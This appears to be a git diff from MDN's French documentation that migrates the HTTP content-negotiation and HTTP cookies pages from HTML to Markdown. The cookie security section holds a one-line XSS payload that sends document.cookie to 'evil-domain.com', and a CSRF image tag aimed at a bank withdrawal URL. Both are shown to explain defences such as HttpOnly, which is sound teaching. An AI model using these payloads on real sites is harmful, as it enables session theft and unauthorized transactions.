En outre, il existe une proposition expérimentale visant à ajouter d'autres en-têtes à la liste des en-têtes disponibles, appelés indications (hints) du client. Ces hints indiquent sur quel type de périphérique l'agent utilisateur fonctionne (par exemple, s'il s'agit d'un ordinateur de bureau ou d'un périphérique mobile).

- -

Même si la négociation de contenu gérée par le serveur est le moyen le plus courant de s'entendre sur une représentation spécifique d'une ressource, elle présente plusieurs inconvénients:

- - - -

The Accept header

- -

The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.

- -

The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available.

- -

The Accept-CH header {{experimental_inline}}

- -
-

Note : This is part of an experimental technology called Client Hints. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.

-
- -

The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
ValueMeaning
Device-MemoryIndicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as 0.5. 
DPRIndicates the client's device pixel ratio.
Viewport-WidthIndicates the layout viewport width in CSS pixels. 
WidthIndicates the resource width in physical pixels (in other words the intrinsic size of an image).
- -

The Accept-Charset header

- -

The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like ISO-8859-1,utf-8;q=0.7,*;q=0.7 for a Western European locale.

- -

With UTF-8 now being well-supported, being the preferred way of encoding characters, and to guarantee better privacy through less configuration-based entropy, browsers omit the Accept-Charset header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.

- -

The Accept-CH-Lifetime header

- -
-

Note : This is part of an experimental technology called Client Hints  and is only available in Chrome 61 or later.

-
- -

The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the Device-Memory value of the Accept-CH header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.

- -

The Accept-Encoding header

- -

The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: br, gzip;q=0.8) that indicates the priority of the encoding values. The default value identity is at the lowest priority (unless otherwise declared).

- -

Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.

- -

The Accept-Language header

- -

The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: "de, en;q=0.7"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.

- -

Due to the configuration-based entropy increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:

- - - -

The User-Agent header

- -
-

Note : Though there are legitimate uses of this header for selecting content, it is considered bad practice to rely on it to define what features are supported by the user agent.

-
- -

The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of product tokens and comments.

- -

A product token is a name followed by a '/' and a version number, like Firefox/4.0.1. There may be as many of them as the user-agent wants. A comment is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by ';'.

- -

The Vary response header

- -

In opposition to the previous Accept-* headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.

- -

The special value of '*' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.

- -

The Vary header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '*' prevents caching from occurring, as the cache cannot know what element is behind it.

- -

Agent-driven negotiation

- -

Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.

- -

From the beginnings of HTTP, the protocol allowed another negotiation type: agent-driven negotiation or reactive negotiation. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.

- -

- -

Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.

diff --git a/files/fr/web/http/content_negotiation/index.md b/files/fr/web/http/content_negotiation/index.md new file mode 100644 index 0000000000..a1fe95c477 --- /dev/null +++ b/files/fr/web/http/content_negotiation/index.md @@ -0,0 +1,143 @@ +--- +title: La négociation de contenu +slug: Web/HTTP/Content_negotiation +translation_of: Web/HTTP/Content_negotiation +--- +
{{HTTPSidebar}}
+ +

En HTTP, la négociation de contenu est le mécanisme utilisé pour fournir différentes représentations d'une ressource à la même URI, afin que l'agent utilisateur puisse spécifier celle qui convient le mieux à l'utilisateur (par exemple, la langue d'un document, le format d'image, ou l'encodage du contenu).

+ +

Principes de la négociation de contenu

+ +

Un document spécifique s'appelle une ressource. Lorsqu'un client veut y accéder, il le demande en utilisant son URL. Le serveur utilise cette URL pour choisir une des différentes versions qu'il peut fournir - chaque version étant appelée une représentation - et renvoie cette représentation spécifique au client. La ressource globale, ainsi que chacune de ses représentations, ont une URL spécifique. La façon dont une représentation spécifique est choisie est déterminée par la négociation de contenu et il existe plusieurs façons de négocier entre le client et le serveur.

+ +

+ +

La sélection de la représentation la mieux adaptée se fait par l'un des deux mécanismes suivants:

+ + + +

Au fil des ans, d'autres propositions de négociation de contenu, comme la négociation transparente du contenu et l'en-tête Alternates, ont été proposées. Elles n'ont pas réussi à emporter l'adhésion et ont été abandonnées.

+ +

La négociation de contenu gérée par le serveur

+ + + +

Dans la négociation de contenu gérée par le serveur, ou négociation proactive de contenu, le navigateur (ou tout autre type de client) envoie plusieurs en-têtes HTTP avec l'URL décrivant les choix préférés de l'utilisateur. Le serveur les utilise comme indications et un algorithme interne choisit le meilleur contenu à servir au client. L'algorithme est spécifique au serveur et n'est pas défini dans la norme. Voir, par exemple, l'algorithme de négociation d'Apache 2.2.

+ +

+ +

La norme HTTP/1.1 définit la liste des en-têtes standard qui initient la négociation pilotée par le serveur ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Bien qu'à proprement parler {{HTTPHeader("User-Agent")}} ne figure pas dans la liste, il est aussi parfois utilisé pour envoyer une représentation spécifique de la ressource demandée, bien que cela ne soit pas considéré comme une bonne pratique. Le serveur utilise l'en-tête {{HTTPHeader("Vary")}} pour indiquer quels en-têtes il a effectivement utilisés pour la négociation de contenu (ou plus précisément les en-têtes de réponse associés), pour que les caches puissent fonctionner de manière optimale.

+ +

En outre, il existe une proposition expérimentale visant à ajouter d'autres en-têtes à la liste des en-têtes disponibles, appelés indications (hints) du client. Ces hints indiquent sur quel type de périphérique l'agent utilisateur fonctionne (par exemple, s'il s'agit d'un ordinateur de bureau ou d'un périphérique mobile).

+ +

Même si la négociation de contenu gérée par le serveur est le moyen le plus courant de s'entendre sur une représentation spécifique d'une ressource, elle présente plusieurs inconvénients:

+ + + +

The Accept header

+ +

The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.

+ +

The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available.

+ +

The Accept-CH header {{experimental_inline}}

+ +
+

Note : This is part of an experimental technology called Client Hints. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.

+
+ +

The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueMeaning
Device-MemoryIndicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as 0.5. 
DPRIndicates the client's device pixel ratio.
Viewport-WidthIndicates the layout viewport width in CSS pixels. 
WidthIndicates the resource width in physical pixels (in other words the intrinsic size of an image).
+ +

The Accept-Charset header

+ +

The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like ISO-8859-1,utf-8;q=0.7,*;q=0.7 for a Western European locale.

+ +

With UTF-8 now being well-supported, being the preferred way of encoding characters, and to guarantee better privacy through less configuration-based entropy, browsers omit the Accept-Charset header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.

+ +

The Accept-CH-Lifetime header

+ +
+

Note : This is part of an experimental technology called Client Hints  and is only available in Chrome 61 or later.

+
+ +

The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the Device-Memory value of the Accept-CH header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.

+ +

The Accept-Encoding header

+ +

The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: br, gzip;q=0.8) that indicates the priority of the encoding values. The default value identity is at the lowest priority (unless otherwise declared).

+ +

Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.

+ +

The Accept-Language header

+ +

The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: "de, en;q=0.7"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.

+ +

Due to the configuration-based entropy increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:

+ + + +

The User-Agent header

+ +
+

Note : Though there are legitimate uses of this header for selecting content, it is considered bad practice to rely on it to define what features are supported by the user agent.

+
+ +

The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of product tokens and comments.

+ +

A product token is a name followed by a '/' and a version number, like Firefox/4.0.1. There may be as many of them as the user-agent wants. A comment is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by ';'.

+ +

The Vary response header

+ +

In opposition to the previous Accept-* headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.

+ +

The special value of '*' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.

+ +

The Vary header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '*' prevents caching from occurring, as the cache cannot know what element is behind it.

+ +

Agent-driven negotiation

+ +

Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.

+ +

From the beginnings of HTTP, the protocol allowed another negotiation type: agent-driven negotiation or reactive negotiation. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.

+ +

+ +

Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.

diff --git a/files/fr/web/http/cookies/index.html b/files/fr/web/http/cookies/index.html deleted file mode 100644 index 1568fcf41d..0000000000 --- a/files/fr/web/http/cookies/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: HTTP cookies -slug: Web/HTTP/Cookies -tags: - - Cookies - - Guide - - HTTP -translation_of: Web/HTTP/Cookies ---- -
{{HTTPSidebar}}
- -

Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur.

-

Cela permet, par exemple, de garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état".

- -

Les cookies sont utilisés pour 3 raisons principales :

- -
-
Gestion des sessions
-
Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir.
-
Personnalisation
-
Préférences utilisateur, thèmes, et autres paramètres.
-
Suivi
-
Enregistrement et analyse du comportement utilisateur.
-
- -

Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'API Web storage (localStorage et sessionStorage) et IndexedDB.

- -
-

Note : Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'Inspecteur de stockage des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox).

-
- -

Création de cookies

- -

Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé.

- - - -

L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci:

- -
Set-Cookie: <nom-du-cookie>=<valeur-du-cookie>
- -
-

Note : Voici comme utiliser l'en-tête Set-Cookie dans divers langages de programmation côté serveur : -

-

-
- -

Exemple de réponse HTTP complète:

- -
HTTP/1.0 200 OK
-Content-type: text/html
-Set-Cookie: yummy_cookie=choco
-Set-Cookie: tasty_cookie=strawberry
-
-[contenu de la page]
- -

Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête {{HTTPHeader("Cookie")}}:

- -
GET /sample_page.html HTTP/1.1
-Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
- -

Cookies de session

- -

Le cookie créé ci-dessus est un cookie de session : il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive Expires ou Max-Age. Notons cependant que les navigateurs web peuvent utiliser la restauration de session, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé.

- -

Cookies permanents

- -

Plutôt que d'expirer quand le client ferme, les cookies permanents expirent à une date spécifique (Expires) ou après un certain temps (Max-Age).

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
- -
-

Note : Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur.

-
- -

Cookies Secure et HttpOnly

- -

Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes chiffrées, via le protocole HTTPS. Même avec Secure, les informations sensibles ne devraient jamais être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (http:) ne peuvent pas définir de cookies avec la directive Secure.

- -

Pour empêcher les attaques de cross-site scripting ({{Glossary("Cross-site_scripting","XSS")}}), on peut utiliser les cookies HttpOnly, qui sont inaccessibles à l'API JavaScript {{domxref("Document.cookie")}}; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option HttpOnly doit être définie.

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
- -

Portée des cookies

- -

Les directives Domain et Path définissent la portée d'un cookie : sur quelles URLs les cookies doivent être envoyés.

- -

Domain spécifie les hôtes autorisés à recevoir le cookie. S'il n'est pas spécifié, il s'agit par défaut de l'hôte de l'emplacement actuel du document, en excluant les sous-domaines. Si Domain est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si Domain=mozilla.org est défini, alors les cookies sont envoyés sur les sous-domaines comme developer.mozilla.org.

- -

Path indique pour quels chemins d'URL on doit envoyer l'entête Cookie. Le caractère %x2F ("/") est considéré comme un séparateur de répertoire, et les sous-répertoires seront également acceptés. Par exemple, si Path=/docs est défini, ces chemins seront acceptés :

- - - -

Cookies SameSite {{experimental_inline}}

- -

Les cookies SameSite laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery ({{Glossary("CSRF")}}). Les cookies SameSite sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs.

- -

Accès JavaScript en utilisant Document.cookie

- -

De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété  {{domxref("Document.cookie")}}, et si l'option HttpOnly n'est pas définie, les cookies existants peuvent être également accédés via JavaScript.

- -
document.cookie = "yummy_cookie=choco";
-document.cookie = "tasty_cookie=strawberry";
-console.log(document.cookie);
-// affiche "yummy_cookie=choco; tasty_cookie=strawberry"
- -

Prenez garde aux problèmes de sécurité, décrits dans la section {{ anch("Sécurité") }} ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS.

- -

Sécurité

- -
-

Note : Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé.

-
- -

Piratage de session et XSS

- -

Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités {{Glossary("Cross-site_scripting","XSS")}} de l'application.

- -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
- -

L'attribut HttpOnly du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript.

- -

Cross-Site Request Forgery (CSRF)

- -

Wikipedia mentionne un autre bon exemple d'attaque {{Glossary("CSRF")}}. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent:

- -
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
- -

Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques:

- - - -

Suivi et confidentialité

- -

Cookies tiers

- -

Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (first-party cookie). Si le domaine est différent, on parle de cookie tiers (third-party cookie).

- -

Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les types de cookies utilisés par Google. La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, Privacy Badger par EFF).

- -

Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvrent. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article cookie statement de Wikipedia.

- - - -

Do-Not-Track

- -

Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête {{HTTPHeader("DNT")}} peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête {{HTTPHeader("DNT")}} pour plus d'informations.

- -

Directive de l'UE sur les cookies

- -

Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la Directive 2009/136/EC du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre.

- -

Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies.

- -

Pour en savoir plus, voir cette section Wikipedia et consultez les lois de l'état pour avoir des informations plus récentes et plus précises.

- -

Cookies Zombie et Evercookies

- -

Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'API Web storage, les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée.

- - - -

Voir aussi

- - diff --git a/files/fr/web/http/cookies/index.md b/files/fr/web/http/cookies/index.md new file mode 100644 index 0000000000..1568fcf41d --- /dev/null +++ b/files/fr/web/http/cookies/index.md @@ -0,0 +1,194 @@ +--- +title: HTTP cookies +slug: Web/HTTP/Cookies +tags: + - Cookies + - Guide + - HTTP +translation_of: Web/HTTP/Cookies +--- +
{{HTTPSidebar}}
+ +

Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur.

+

Cela permet, par exemple, de garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état".

+ +

Les cookies sont utilisés pour 3 raisons principales :

+ +
+
Gestion des sessions
+
Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir.
+
Personnalisation
+
Préférences utilisateur, thèmes, et autres paramètres.
+
Suivi
+
Enregistrement et analyse du comportement utilisateur.
+
+ +

Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'API Web storage (localStorage et sessionStorage) et IndexedDB.

+ +
+

Note : Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'Inspecteur de stockage des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox).

+
+ +

Création de cookies

+ +

Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé.

+ + + +

L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci:

+ +
Set-Cookie: <nom-du-cookie>=<valeur-du-cookie>
+ +
+

Note : Voici comme utiliser l'en-tête Set-Cookie dans divers langages de programmation côté serveur : +

+

+
+ +

Exemple de réponse HTTP complète:

+ +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[contenu de la page]
+ +

Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête {{HTTPHeader("Cookie")}}:

+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+ +

Cookies de session

+ +

Le cookie créé ci-dessus est un cookie de session : il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive Expires ou Max-Age. Notons cependant que les navigateurs web peuvent utiliser la restauration de session, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé.

+ +

Cookies permanents

+ +

Plutôt que d'expirer quand le client ferme, les cookies permanents expirent à une date spécifique (Expires) ou après un certain temps (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+ +
+

Note : Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur.

+
+ +

Cookies Secure et HttpOnly

+ +

Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes chiffrées, via le protocole HTTPS. Même avec Secure, les informations sensibles ne devraient jamais être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (http:) ne peuvent pas définir de cookies avec la directive Secure.

+ +

Pour empêcher les attaques de cross-site scripting ({{Glossary("Cross-site_scripting","XSS")}}), on peut utiliser les cookies HttpOnly, qui sont inaccessibles à l'API JavaScript {{domxref("Document.cookie")}}; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option HttpOnly doit être définie.

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+ +

Portée des cookies

+ +

Les directives Domain et Path définissent la portée d'un cookie : sur quelles URLs les cookies doivent être envoyés.

+ +

Domain spécifie les hôtes autorisés à recevoir le cookie. S'il n'est pas spécifié, il s'agit par défaut de l'hôte de l'emplacement actuel du document, en excluant les sous-domaines. Si Domain est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si Domain=mozilla.org est défini, alors les cookies sont envoyés sur les sous-domaines comme developer.mozilla.org.

+ +

Path indique pour quels chemins d'URL on doit envoyer l'entête Cookie. Le caractère %x2F ("/") est considéré comme un séparateur de répertoire, et les sous-répertoires seront également acceptés. Par exemple, si Path=/docs est défini, ces chemins seront acceptés :

+ + + +

Cookies SameSite {{experimental_inline}}

+ +

Les cookies SameSite laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery ({{Glossary("CSRF")}}). Les cookies SameSite sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs.

+ +

Accès JavaScript en utilisant Document.cookie

+ +

De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété  {{domxref("Document.cookie")}}, et si l'option HttpOnly n'est pas définie, les cookies existants peuvent être également accédés via JavaScript.

+ +
document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// affiche "yummy_cookie=choco; tasty_cookie=strawberry"
+ +

Prenez garde aux problèmes de sécurité, décrits dans la section {{ anch("Sécurité") }} ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS.

+ +

Sécurité

+ +
+

Note : Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé.

+
+ +

Piratage de session et XSS

+ +

Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités {{Glossary("Cross-site_scripting","XSS")}} de l'application.

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+ +

L'attribut HttpOnly du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript.

+ +
